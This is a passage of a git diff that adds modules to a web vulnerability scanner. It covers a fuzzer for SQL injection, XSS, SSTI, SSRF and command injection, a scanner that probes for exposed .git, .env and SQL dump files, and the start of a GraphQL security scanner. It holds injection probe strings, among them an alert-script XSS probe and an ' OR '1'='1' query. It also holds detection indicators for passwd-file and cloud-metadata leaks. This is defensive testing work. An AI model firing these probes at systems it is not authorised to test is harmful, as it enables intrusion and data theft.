+ "3. Apply WAF protections to detect logical inference attacks."
391
+ )
392
+ )
393
+ return True
394
+ except Exception as e:
395
+ self.log("ERROR", f"[Fuzzer] _check_boolean_sqli error: {e}")
396
+ return False
397
+
398
+ # ── XSS Detection ─────────────────────────────────────────────────
399
+ def _check_xss(self, body, payload, vector_desc):
400
+ # Check if the exact payload is reflected unsanitised in the response
401
+ if payload in body:
402
+ self._xss_found += 1
403
+ self.log("CRITICAL",
404
+ f"[Fuzzer] REFLECTED XSS CONFIRMED! Vector: {vector_desc} | "
405
+ f"Payload: {payload[:60]}")
406
+ self.add_vuln(
407
+ title="Reflected Cross-Site Scripting (XSS)",
408
+ severity="High", category="Injection", cvss_score=8.1,
409
+ description=(
410
+ f"A reflected XSS vulnerability was confirmed on {vector_desc}.\n"
411
+ f"Payload: `{payload}`\n"
412
+ f"The payload was reflected in the response body without sanitisation, "
413
+ f"allowing arbitrary JavaScript execution in the victim's browser.\n\n"
414
+ f"Impact: Session hijacking, credential theft, phishing, defacement, "
415
+ f"and malware distribution."
416
+ ),
417
+ remediation=(
418
+ "1. ENCODE ALL OUTPUT — use context-aware output encoding:\n"
419
+ " HTML: &lt; &gt; &amp; &quot; &#x27;\n"
420
+ " JavaScript: \\xHH escaping\n"
421
+ " URL: percent-encoding\n"
422
+ "2. Implement Content Security Policy (CSP) headers:\n"
423
+ " Content-Security-Policy: default-src 'self'; script-src 'self'\n"
424
+ "3. Use framework auto-escaping (React JSX, Django templates, Jinja2).\n"
425
+ "4. Validate and sanitise input on the server side.\n"
426
+ "5. Set HttpOnly and Secure flags on session cookies."
427
+ ),
428
+ )
429
+ return True
430
+
431
+ # Check for SSTI (Server-Side Template Injection)
432
+ if payload in ('{{7*7}}', '${7*7}') and '49' in body:
433
+ self._xss_found += 1
434
+ self.log("CRITICAL",
435
+ f"[Fuzzer] SSTI DETECTED! Template expression evaluated. Vector: {vector_desc}")
436
+ self.add_vuln(
437
+ title="Server-Side Template Injection (SSTI)",
438
+ severity="Critical", category="Injection", cvss_score=9.8,
439
+ description=(
440
+ f"A Server-Side Template Injection was confirmed on {vector_desc}.\n"
441
+ f"The expression `{payload}` was evaluated to `49` by the server template engine.\n\n"
442
+ f"Impact: SSTI can lead to Remote Code Execution (RCE), allowing complete server compromise."
443
+ ),
444
+ remediation=(
445
+ "1. Never pass user input directly into template rendering.\n"
446
+ "2. Use a sandboxed template engine or disable dangerous built-in functions.\n"
447
+ "3. Upgrade to the latest template engine version with SSTI protections."
448
+ ),
449
+ )
450
+ return True
451
+
452
+ return False
453
+
454
+ # ── Form Fuzzing ──────────────────────────────────────────────────
455
+ def _fuzz_form(self, form, base_url):
456
+ action = form["action"]
457
+ method = form["method"]
458
+
459
+ if action.startswith("http"):
460
+ target_url = action
461
+ elif action.startswith("/"):
462
+ parsed = urllib.parse.urlparse(base_url)
463
+ target_url = f"{parsed.scheme}://{parsed.netloc}{action}"
464
+ elif action:
465
+ target_url = base_url.rstrip("/") + "/" + action
466
+ else:
467
+ target_url = base_url
468
+
469
+ fuzzable_inputs = [i for i in form["inputs"] if i["type"] != "hidden"]
470
+ if not fuzzable_inputs:
471
+ return
472
+
473
+ self.log("INFO", f"[Fuzzer] Testing form: {method} {target_url} — {len(fuzzable_inputs)} input(s)")
474
+
475
+ for inp in fuzzable_inputs:
476
+ input_name = inp["name"]
477
+ vector_desc = f"Form {method} {target_url} → input '{input_name}'"
478
+
479
+ # SQLi payloads
480
+ sqli_detected = False
481
+ for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
482
+ self._tested_vectors += 1
483
+ data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
484
+ data[input_name] = payload
485
+
486
+ if method == "POST":
487
+ body, status = self._post(target_url, data)
488
+ else:
489
+ qs = urllib.parse.urlencode(data)
490
+ body, status = self._get(f"{target_url}?{qs}")
491
+
492
+ if body and self._check_sqli(body, payload, vector_desc):
493
+ sqli_detected = True
494
+ break # One confirmed finding per input is sufficient
495
+
496
+ if not sqli_detected:
497
+ self._check_boolean_sqli(target_url, input_name, method, form["inputs"])
498
+
499
+ # Time-based blind SQLi — always active (no response difference, timing-only)
500
+ if not sqli_detected:
501
+ self._check_time_based_sqli(target_url, input_name, method, form["inputs"])
502
+
503
+ # XSS payloads
504
+ for payload in XSS_PAYLOADS[:self._xss_limit()]:
505
+ self._tested_vectors += 1
506
+ data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
507
+ data[input_name] = payload
508
+
509
+ if method == "POST":
510
+ body, status = self._post(target_url, data)
511
+ else:
512
+ qs = urllib.parse.urlencode(data)
513
+ body, status = self._get(f"{target_url}?{qs}")
514
+
515
+ if body and self._check_xss(body, payload, vector_desc):
516
+ break
517
+
518
+ # ── URL Parameter Fuzzing ─────────────────────────────────────────
519
+ def _fuzz_url_params(self, url):
520
+ parsed = urllib.parse.urlparse(url)
521
+ params = urllib.parse.parse_qs(parsed.query)
522
+ if not params:
523
+ return
524
+
525
+ self.log("INFO", f"[Fuzzer] Testing {len(params)} URL parameter(s) on {parsed.path}")
526
+
527
+ for param_name in params:
528
+ vector_desc = f"URL param '{param_name}' on {parsed.path}"
529
+
530
+ sqli_detected = False
531
+ for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
532
+ self._tested_vectors += 1
533
+ test_params = {k: v[0] for k, v in params.items()}
534
+ test_params[param_name] = payload
535
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
536
+
537
+ body, status = self._get(test_url)
538
+ if body and self._check_sqli(body, payload, vector_desc):
539
+ sqli_detected = True
540
+ break
541
+
542
+ if not sqli_detected:
543
+ self._check_boolean_sqli(url, param_name, 'GET')
544
+
545
+ # Time-based blind SQLi — always active
546
+ if not sqli_detected:
547
+ self._check_time_based_sqli(url, param_name, 'GET')
548
+
549
+ for payload in XSS_PAYLOADS[:self._xss_limit()]:
550
+ self._tested_vectors += 1
551
+ test_params = {k: v[0] for k, v in params.items()}
552
+ test_params[param_name] = payload
553
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
554
+
555
+ body, status = self._get(test_url)
556
+ if body and self._check_xss(body, payload, vector_desc):
557
+ break
558
+
559
+ # ── Red-Team Payload Probing ──────────────────────────────────────
560
+ def _check_ssrf(self, body, payload, vector_desc):
561
+ indicators = ["ami-id", "instance-id", "root:x:0:0", "localhost", "127.0.0.1"]
562
+ if any(ind in body for ind in indicators):
563
+ self.log("CRITICAL", f"[Fuzzer] SSRF INDICATOR! Vector: {vector_desc} | Payload: {payload[:60]}")
564
+ self.add_vuln(
565
+ title="Server-Side Request Forgery (SSRF)",
566
+ severity="Critical", category="Injection", cvss_score=9.1,
567
+ description=(
568
+ f"A potential SSRF vulnerability was detected on {vector_desc}.\n"
569
+ f"Payload: `{payload}`\n"
570
+ f"The server response contained internal network or metadata indicators, "
571
+ f"suggesting the application fetched attacker-controlled URLs server-side.\n\n"
572
+ f"Impact: Access to internal services, cloud metadata theft, and lateral movement."
573
+ ),
574
+ remediation=(
575
+ "1. Block requests to private IP ranges and link-local addresses.\n"
576
+ "2. Use an allowlist of permitted outbound domains.\n"
577
+ "3. Disable URL fetching features or proxy through a hardened egress gateway."
578
+ ),
579
+ )
580
+ return True
581
+ return False
582
+
583
+ def _check_cmd_injection(self, body, payload, vector_desc):
584
+ cmd_indicators = ["uid=", "gid=", "groups=", "[boot loader]", "root:", "www-data"]
585
+ if any(ind in body for ind in cmd_indicators):
586
+ self.log("CRITICAL", f"[Fuzzer] COMMAND INJECTION! Vector: {vector_desc} | Payload: {payload[:60]}")
587
+ self.add_vuln(
588
+ title="OS Command Injection",
589
+ severity="Critical", category="Injection", cvss_score=9.8,
590
+ description=(
591
+ f"A command injection vulnerability was detected on {vector_desc}.\n"
592
+ f"Payload: `{payload}`\n"
593
+ f"The response contained OS-level output, indicating shell command execution.\n\n"
594
+ f"Impact: Full server compromise via arbitrary command execution."
595
+ ),
596
+ remediation=(
597
+ "1. Never pass user input to shell interpreters.\n"
598
+ "2. Use language-native APIs instead of os.system/subprocess with user data.\n"
599
+ "3. Apply strict input validation and run processes with least privilege."
600
+ ),
601
+ )
602
+ return True
603
+ return False
604
+
605
+ def _check_time_based_sqli(self, url, param_name, method='GET', form_inputs=None):
606
+ for payload in TIME_BASED_SQLI[:3]:
607
+ try:
608
+ start = time.time()
609
+ if method.upper() == 'GET':
610
+ parsed = urllib.parse.urlparse(url)
611
+ params = urllib.parse.parse_qs(parsed.query)
612
+ test_params = {k: v[0] for k, v in params.items()}
613
+ test_params[param_name] = payload
614
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
615
+ self._get(test_url, timeout=12)
616
+ else:
617
+ data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
618
+ data[param_name] = payload
619
+ self._post(url, data, timeout=12)
620
+ elapsed = time.time() - start
621
+ if elapsed >= 4.5:
622
+ vector_desc = f"{method} {url} → parameter '{param_name}'"
623
+ self._sqli_found += 1
624
+ self.log("CRITICAL", f"[Fuzzer] TIME-BASED SQLi! Vector: {vector_desc} ({elapsed:.1f}s delay)")
625
+ self.add_vuln(
626
+ title="SQL Injection — Time-Based Blind",
627
+ severity="Critical", category="Injection", cvss_score=9.8,
628
+ description=(
629
+ f"A time-based blind SQL injection was detected on {vector_desc}.\n"
630
+ f"Payload: `{payload}` caused a {elapsed:.1f}s response delay.\n\n"
631
+ f"Impact: Attackers can exfiltrate data bit-by-bit using timing side-channels."
632
+ ),
633
+ remediation=(
634
+ "1. Use parameterised queries exclusively.\n"
635
+ "2. Set aggressive query timeouts at the database layer.\n"
636
+ "3. Deploy WAF rules for sleep/waitfor/benchmark patterns."
637
+ ),
638
+ )
639
+ return True
640
+ except Exception as e:
641
+ self.log("ERROR", f"[Fuzzer] _check_time_based_sqli error: {e}")
642
+ continue
643
+ return False
644
+
645
+ def _fuzzer_req(self, url, params, headers=None):
646
+ data = urllib.parse.urlencode(params).encode("utf-8") if params else None
647
+ merged = {"Content-Type": "application/x-www-form-urlencoded"}
648
+ if headers:
649
+ merged.update(headers)
650
+ body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
651
+ return body or "", status
652
+
653
+ def _context_fuzz(self):
654
+ crawl_results = self.discovery_context or {"forms": [], "urls": []}
655
+ all_params = {}
656
+ for form in crawl_results.get("forms", []):
657
+ for inp in form.get("inputs", []):
658
+ if inp.get("type") != "hidden":
659
+ all_params[inp["name"]] = inp.get("value", "test")
660
+ for url_entry in crawl_results.get("urls", []):
661
+ url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
662
+ parsed = urllib.parse.urlparse(url)
663
+ qs_params = urllib.parse.parse_qs(parsed.query)
664
+ for k, v in qs_params.items():
665
+ if k not in all_params:
666
+ all_params[k] = v[0] if v else "test"
667
+
668
+ if not all_params:
669
+ self.log("INFO", "[Fuzzer] No parameters discovered for context-aware fuzzing")
670
+ return
671
+
672
+ self.log("INFO", f"[Fuzzer] Context-aware fuzzing {len(all_params)} parameter(s) with {sum(len(v) for v in TYPE_MUTATIONS.values())} mutation(s)")
673
+ self._fuzzer.fuzz(self.target, all_params)
674
+ baseline_body, _ = self._make_request(self.target, timeout=8)
675
+ baseline_length = len(baseline_body or "")
676
+ anomalies = self._fuzzer.anomalies(baseline_length)
677
+ for anom in anomalies:
678
+ self.log("WARNING", f"[Fuzzer] Context-aware anomaly — {anom['param']} ({anom['type']}) mutation={anom['mutation']} status={anom['status']} length={anom['length']}")
679
+ self.add_vuln(
680
+ title=f"Context-Aware Fuzzer: Anomalous '{anom['param']}' ({anom['mutation']})",
681
+ severity="Medium",
682
+ category="Injection",
683
+ cvss_score=6.5,
684
+ description=(
685
+ f"Parameter '{anom['param']}' (classified as '{anom['type']}') "
686
+ f"returned an anomalous response when mutated with '{anom['mutation']}' "
687
+ f"(value: {anom['value']}). "
688
+ f"HTTP {anom['status']}, response length {anom['length']} bytes."
689
+ ),
690
+ remediation="Validate and sanitize all input parameters server-side. Use parameterized queries, input type enforcement, and context-aware output encoding.",
691
+ cwe_ids=["CWE-20"],
692
+ owasp_category="A03:2021 – Injection",
693
+ )
694
+
695
+ def _fuzz_red_team_params(self, url, params, method='GET', form_inputs=None):
696
+ ssrf_params = {"url", "redirect", "next", "return", "ref", "callback", "dest", "target", "uri", "path", "file"}
697
+ cmd_params = {"cmd", "command", "exec", "run", "ping", "host", "ip", "query"}
698
+
699
+ for param_name in params:
700
+ vector_base = f"{method} {url} → parameter '{param_name}'"
701
+ if param_name.lower() in ssrf_params:
702
+ for payload in SSRF_PAYLOADS:
703
+ self._tested_vectors += 1
704
+ if method.upper() == 'GET':
705
+ parsed = urllib.parse.urlparse(url)
706
+ test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
707
+ test_params[param_name] = payload
708
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
709
+ body, _ = self._get(test_url)
710
+ else:
711
+ data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
712
+ data[param_name] = payload
713
+ body, _ = self._post(url, data)
714
+ if body and self._check_ssrf(body, payload, vector_base):
715
+ break
716
+
717
+ if param_name.lower() in cmd_params:
718
+ for payload in CMD_INJECTION_PAYLOADS[:3]:
719
+ self._tested_vectors += 1
720
+ if method.upper() == 'GET':
721
+ parsed = urllib.parse.urlparse(url)
722
+ test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
723
+ test_params[param_name] = payload
724
+ test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
725
+ body, _ = self._get(test_url)
726
+ else:
727
+ data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
728
+ data[param_name] = payload
729
+ body, _ = self._post(url, data)
730
+ if body and self._check_cmd_injection(body, payload, vector_base):
731
+ break
732
+
733
+ if self.red_team:
734
+ self._check_time_based_sqli(url, param_name, method, form_inputs)
735
+ else:
736
+ # Always do time-based on SSRF/cmd-named params too
737
+ self._check_time_based_sqli(url, param_name, method, form_inputs)
738
+
739
+ # ── Common Parameter Probing ──────────────────────────────────────
740
+ def _probe_common_params(self):
741
+ """Inject into common query parameter names even if not found in HTML."""
742
+ common_params = ["id", "q", "search", "query", "page", "name", "user",
743
+ "email", "redirect", "url", "next", "return", "ref",
744
+ "callback", "cat", "category", "item", "product"]
745
+
746
+ base = self.target.rstrip("/")
747
+ self.log("INFO", f"[Fuzzer] Probing {len(common_params)} common parameters for blind injection...")
748
+
749
+ for param in common_params:
750
+ # Quick SQLi probe
751
+ for payload in SQLI_PAYLOADS[:3]:
752
+ self._tested_vectors += 1
753
+ test_url = f"{base}?{param}={urllib.parse.quote(payload)}"
754
+ body, status = self._get(test_url, timeout=5)
755
+ if body and self._check_sqli(body, payload, f"Param probe ?{param}="):
756
+ break
757
+
758
+ # Quick XSS probe
759
+ probe_payload = '<script>alert(1)</script>'
760
+ self._tested_vectors += 1
761
+ test_url = f"{base}?{param}={urllib.parse.quote(probe_payload)}"
762
+ body, status = self._get(test_url, timeout=5)
763
+ if body:
764
+ self._check_xss(body, probe_payload, f"Param probe ?{param}=")
765
+
766
+ if self.red_team:
767
+ self._fuzz_red_team_params(
768
+ f"{base}?{param}=test",
769
+ {param: ["test"]},
770
+ 'GET'
771
+ )
772
+
773
+ # ── Main Entry Point ──────────────────────────────────────────────
774
+ def run(self):
775
+ self.log("INFO", f"[Fuzzer] Starting recursive XSS & SQLi fuzzing on {self.target}...")
776
+ mode = "RED-TEAM" if self.red_team else "STANDARD"
777
+ self.log("INFO",
778
+ f"[Fuzzer] Mode: {mode} | {len(SQLI_PAYLOADS)} SQLi + {len(XSS_PAYLOADS)} XSS payloads | "
779
+ f"crawl depth: {self.max_depth}")
780
+
781
+ crawl_results = self.discovery_context or {"forms": [], "urls": []}
782
+
783
+ try:
784
+ # Step 2: Fuzz all discovered forms
785
+ for form in crawl_results["forms"]:
786
+ self._fuzz_form(form, form["url"])
787
+ if self.red_team and form["inputs"]:
788
+ param_names = [i["name"] for i in form["inputs"] if i["type"] != "hidden"]
789
+ if param_names:
790
+ self._fuzz_red_team_params(
791
+ form["action"], param_names, form["method"], form["inputs"]
792
+ )
793
+
794
+ # Step 3: Fuzz all discovered URLs (parameters)
795
+ for url_entry in crawl_results["urls"]:
796
+ self._fuzz_url_params(url_entry["url"])
797
+ if self.red_team:
798
+ parsed = urllib.parse.urlparse(url_entry["url"])
799
+ params = urllib.parse.parse_qs(parsed.query)
800
+ if params:
801
+ self._fuzz_red_team_params(url_entry["url"], params)
802
+
803
+ except Exception as e:
804
+ self.log("WARNING", f"[Fuzzer] Unexpected error during scan: {str(e)}")
805
+
806
+ # Step 4: Probe common parameter names on the base target URL
807
+ self._probe_common_params()
808
+
809
+ # Step 5: Context-aware fuzzing
810
+ self._context_fuzz()
811
+
812
+ # Summary
813
+ self.log("SUCCESS" if not self.vulns else "WARNING",
814
+ f"[Fuzzer] Complete — {self._tested_vectors} vectors tested | "
815
+ f"{self._sqli_found} SQLi | {self._xss_found} XSS confirmed")
816
+ return self.vulns
817
+
818
+ if __name__ == "__main__":
819
+ from scanners.fuzzer_scanner import FuzzerScanner
820
+
821
+ print("=== Running direct test of FuzzerScanner ===")
822
+ scanner = FuzzerScanner(
823
+ scan_id="direct-test-fuzzer",
824
+ target="http://httpbin.org",
825
+ domain="httpbin.org",
826
+ max_depth=1
827
+ )
828
+
829
+ # Custom logger for console output
830
+ def console_log(level, msg):
831
+ print(f"[{level}] {msg}")
832
+ scanner.log = console_log
833
+
834
+ findings = scanner.run()
835
+ print("\n=== Scan Complete ===")
836
+ print(f"Vulnerabilities found: {len(findings)}")
837
+ for vuln in findings:
838
+ print(f" - [{vuln['severity']}] {vuln['title']}")
backend/scanners/git_exposure_scanner.py ADDED
@@ -0,0 +1,132 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ git_exposure_scanner.py — Git Repository Exposure Scanner
3
+ ==========================================================
4
+ Checks for publicly accessible .git directories and version control artifacts
5
+ that could expose source code, commit history, credentials, and configuration.
6
+
7
+ Checks:
8
+ - .git/HEAD, .git/config, .git/COMMIT_EDITMSG, .git/index
9
+ - .gitignore, .gitmodules, .gitattributes
10
+ - Common VCS metadata files (SVN, Mercurial)
11
+ - Source code backup files
12
+ - CI/CD configuration leaks
13
+ """
14
+ import re, urllib.request, urllib.error
15
+ from scanners.base_scanner import BaseScanner
16
+ from scanners.core.signatures import matches_signature
17
+
18
+ # Format: (path, expected_content_regex, display_name, severity, cvss)
19
+ GIT_PROBES = [
20
+ ("/.git/HEAD", r"ref:\s*refs/heads/", "Git HEAD reference", "Critical", 9.8),
21
+ ("/.git/config", r"\[core\]|\[remote", "Git repository config", "Critical", 9.8),
22
+ ("/.git/COMMIT_EDITMSG",r".*", "Git commit message", "High", 8.5),
23
+ ("/.git/index", r"DIRC", "Git index (binary)", "Critical", 9.8),
24
+ ("/.git/FETCH_HEAD", r".*", "Git FETCH_HEAD", "High", 8.0),
25
+ ("/.git/packed-refs", r"refs/", "Git packed refs", "High", 8.0),
26
+ ("/.git/logs/HEAD", r"commit|checkout", "Git reflog", "High", 8.0),
27
+ ("/.gitignore", r".*", ".gitignore file", "Medium", 5.3),
28
+ ("/.gitmodules", r"\[submodule", ".gitmodules (submodule list)","High", 7.5),
29
+ ("/.gitattributes", r".*", ".gitattributes", "Low", 3.1),
30
+ # SVN
31
+ ("/.svn/entries", r"https?://|svn://", "SVN entries file", "High", 8.0),
32
+ ("/.svn/wc.db", r"SQLite", "SVN working copy DB", "Critical", 9.0),
33
+ # Mercurial
34
+ ("/.hg/hgrc", r"\[paths\]", "Mercurial config", "High", 8.0),
35
+ # CI / CD secrets
36
+ ("/.travis.yml", r"language:|script:", "Travis CI config", "Medium", 5.3),
37
+ ("/.env", r"[A-Z_]+=", ".env file (env variables)", "Critical", 9.9),
38
+ ("/.env.local", r"[A-Z_]+=", ".env.local file", "Critical", 9.9),
39
+ ("/.env.production", r"[A-Z_]+=", ".env.production file", "Critical", 9.9),
40
+ ("/Dockerfile", r"FROM |RUN |CMD ", "Dockerfile exposed", "Medium", 5.3),
41
+ ("/docker-compose.yml", r"services:|version:", "docker-compose config", "Medium", 5.8),
42
+ ("/Jenkinsfile", r"pipeline|stage", "Jenkinsfile exposed", "Medium", 5.3),
43
+ ("/.github/workflows/", r"on:|jobs:", "GitHub Actions workflows", "Low", 3.5),
44
+ # Backup / source files
45
+ ("/backup.sql", r"INSERT INTO|CREATE TABLE","SQL dump exposed", "Critical", 9.9),
46
+ ("/dump.sql", r"INSERT INTO|CREATE TABLE","SQL dump exposed", "Critical", 9.9),
47
+ ("/config.php.bak", r".*", "PHP config backup", "High", 8.5),
48
+ ("/wp-config.php.bak", r".*", "WordPress config backup", "Critical", 9.8),
49
+ ]
50
+
51
+
52
+ class GitExposureScanner(BaseScanner):
53
+ SCANNER_NAME = "Git / VCS Exposure Scanner"
54
+ _SCANNER_KEY = "git_exposure"
55
+
56
+ def __init__(self, scan_id, target, domain, **kwargs):
57
+ super().__init__(scan_id, target, domain, **kwargs)
58
+
59
+ # ------------------------------------------------------------------
60
+ def run(self) -> list:
61
+ self.log("INFO",
62
+ f"[GitExposure] Probing {len(GIT_PROBES)} VCS/backup paths on {self.target}...")
63
+
64
+ base = self.target.rstrip("/")
65
+ found = 0
66
+
67
+ for path, pattern, display, severity, cvss in GIT_PROBES:
68
+ url = f"{base}{path}"
69
+ body, status = self._probe(url)
70
+ if body is None:
71
+ continue
72
+
73
+ # PHASE 1: Suppress if response is the site's SPA/404 catch-all
74
+ if self._is_baseline(status, body):
75
+ self.log("INFO", f"[GitExposure] SUPPRESSED (baseline match): {url}")
76
+ continue
77
+
78
+ if status == 200 and re.search(pattern, body, re.S | re.I):
79
+ found += 1
80
+ self.log("CRITICAL" if severity == "Critical" else "WARNING",
81
+ f"[GitExposure] EXPOSED: {display} at {url}")
82
+ masked = body[:300].replace("\n", " ")
83
+ self.add_vuln(
84
+ title=f"Exposed VCS/Config File: {display}",
85
+ severity=severity,
86
+ category="Information Disclosure",
87
+ cvss_score=cvss,
88
+ description=(
89
+ f"The file `{url}` is publicly accessible (HTTP 200).\n\n"
90
+ f"**Resource type:** {display}\n\n"
91
+ f"**Preview (first 300 chars):**\n```\n{masked}\n```\n\n"
92
+ "Exposed version control metadata can reveal:\n"
93
+ "- Full source code reconstruction from pack files\n"
94
+ "- Hardcoded credentials and API keys in commit history\n"
95
+ "- Internal infrastructure hostnames and paths\n"
96
+ "- Business logic and proprietary algorithms"
97
+ ),
98
+ remediation=(
99
+ f"1. Immediately block access to `{path}` in your web server:\n"
100
+ " Nginx: location ~ /\\.git { deny all; return 404; }\n"
101
+ " Apache: RedirectMatch 404 /\\.git\n"
102
+ "2. Rotate any credentials found in git history immediately.\n"
103
+ "3. Use `git filter-branch` or BFG Repo Cleaner to purge secrets.\n"
104
+ "4. Add VCS directories to your web server deny rules globally.\n"
105
+ "5. Use a WAF rule to block /.git, /.svn, /.env paths."
106
+ ),
107
+ )
108
+ elif status == 200:
109
+ self.log("INFO", f"[GitExposure] {url} returned 200 but content mismatch")
110
+ else:
111
+ self.log("INFO", f"[GitExposure] {url} -> HTTP {status}")
112
+
113
+ if found == 0:
114
+ self.log("SUCCESS", "[GitExposure] No exposed VCS/backup files detected")
115
+ else:
116
+ self.log("WARNING", f"[GitExposure] {found} exposed resource(s) found!")
117
+
118
+ return self.vulns
119
+
120
+ # ------------------------------------------------------------------
121
+ def _probe(self, url: str) -> tuple:
122
+ try:
123
+ headers = {"User-Agent": "LarShield/2.0 GitExposure-Probe"}
124
+ headers.update(self.auth_headers or {})
125
+ req = urllib.request.Request(url, headers=headers)
126
+ with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
127
+ return r.read().decode("utf-8", errors="ignore"), r.status
128
+ except urllib.error.HTTPError as e:
129
+ return "", e.code
130
+ except Exception as e:
131
+ self.log("ERROR", f"[GitExposure] Fetch error: {e}")
132
+ return None, 0
backend/scanners/graphql_scanner.py ADDED
@@ -0,0 +1,589 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ graphql_scanner.py — GraphQL Security Scanner
3
+ ==============================================
4
+ Advanced GraphQL vulnerability detection module.
5
+
6
+ This scanner:
7
+ 1. Identifies GraphQL endpoints
8
+ 2. Performs introspection to discover schema
9
+ 3. Tests for GraphQL-specific vulnerabilities
10
+ 4. Detects information disclosure via introspection
11
+ 5. Tests for query depth limiting and DoS vulnerabilities
12
+ 6. Checks for authorization bypass in GraphQL queries
13
+ 7. Multi-stage detection: probe endpoint, then confirm vulnerabilities
14
+ """
15
+ import urllib.request, urllib.error, urllib.parse, re, json
16
+ from scanners.base_scanner import BaseScanner
17
+ from utils.fuzzer_engine import ContextAwareFuzzer
18
+
19
+ GRAPHQL_ENDPOINTS = [
20
+ "/graphql", "/api/graphql", "/graphiql", "/api/graphiql",
21
+ "/graphql.php", "/graphql/api", "/v1/graphql", "/v2/graphql",
22
+ "/gql", "/api/gql", "/query", "/api/query",
23
+ "/console/graphql", "/graphql/console", "/playground",
24
+ "/api/v1/graphql", "/api/v2/graphql",
25
+ ]
26
+
27
+ GRAPHQL_INDICATORS = [
28
+ r"graphql", r"GraphQL", r"query\s+\w+", r"mutation\s+\w+",
29
+ r"subscription\s+\w+", r"__schema", r"__type", r"__typename",
30
+ ]
31
+
32
+ INTROSPECTION_QUERY = """
33
+ {
34
+ __schema {
35
+ queryType { name fields { name type { name kind } } }
36
+ mutationType { name fields { name type { name kind } } }
37
+ subscriptionType { name fields { name type { name kind } } }
38
+ types { name kind description fields { name type { name kind } } }
39
+ }
40
+ }
41
+ """
42
+
43
+ BATCHING_QUERY = """
44
+ [
45
+ { "query": "{ __typename }" },
46
+ { "query": "{ __typename }" },
47
+ { "query": "{ __typename }" },
48
+ { "query": "{ __typename }" },
49
+ { "query": "{ __typename }" }
50
+ ]
51
+ """
52
+
53
+ DEEP_NESTED_QUERY = """
54
+ {
55
+ __schema {
56
+ queryType { fields { name type { fields { name type { fields { name type { fields { name type { fields { name } } } } } } } } }
57
+ }
58
+ }
59
+ """
60
+
61
+ ALIAS_QUERY = """
62
+ query {
63
+ a1: __typename
64
+ a2: __typename
65
+ a3: __typename
66
+ a4: __typename
67
+ a5: __typename
68
+ a6: __typename
69
+ a7: __typename
70
+ a8: __typename
71
+ a9: __typename
72
+ a10: __typename
73
+ }
74
+ """
75
+
76
+ SQLI_GQL_QUERY = """
77
+ query {
78
+ __typename
79
+ search(query: "' OR '1'='1")
80
+ }
81
+ """
82
+
83
+ TEST_QUERIES = {
84
+ "introspection": INTROSPECTION_QUERY,
85
+ "basic_query": "{ __typename }",
86
